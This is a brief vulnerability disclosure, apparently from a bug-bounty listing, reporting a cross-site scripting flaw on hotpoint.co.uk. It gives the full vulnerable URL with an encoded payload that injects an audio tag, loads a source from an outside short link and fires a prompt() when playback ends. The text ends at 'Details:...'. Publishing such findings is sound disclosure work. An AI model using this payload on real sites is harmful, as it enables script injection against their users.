hotpoint.co.uk XSS vulnerability

Vulnerable URL: http://www.hotpoint.co.uk/webapp/wcs/stores/servlet/AjaxCatalogSearchView?storeId=10236=10585=-11=0==asaaasa%22%2F%3E%3Caudio+controls+autoplay+onended%3Dprompt%2Fopenbugbounty%2F%3E+++%3Csource%20src=%22http://goo.gl/WEaWvQ%22%20type=%22audio/mp3%22%3E%20%3C%2Faudio%3E Details:...